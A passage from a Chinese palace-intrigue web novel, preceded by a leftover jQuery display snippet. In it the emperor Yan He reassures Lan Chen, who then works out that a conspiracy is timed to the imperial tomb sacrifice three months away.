$(.inform).remove(); $(#content).append( 流的声音。 直到一声冷笑打破沉默,燕赫道:“区区养子,何罪之有,孤非昏君,自有决断,况且你是孤的人,若依你所言,株连九族岂非要把孤给一并杀了?” “我绝无此意!”兰沉立刻反驳他,显然被他这句话吓得不轻,可当他察觉燕赫对此满不在乎时,反而陷入了困惑中,“陛下,如今证据确凿,你不该杀了我吗?” 燕赫扫了眼手帕,耐心问道:“此物何足挂齿,萧时宇既为私生,承大统则需认祖归宗,你可知匡扶正统少不了什么?” 兰沉想了想道:“需择吉日于皇陵前祭祀,而后设宴昭告天下。” 话音刚落,他蓦然醒悟,兰玉阶反复强调要自己忍耐三个月,说明他们在等皇陵祭祀,三个月后,正好是燕赫离宫前去皇陵之时。 这一切都被算准了! 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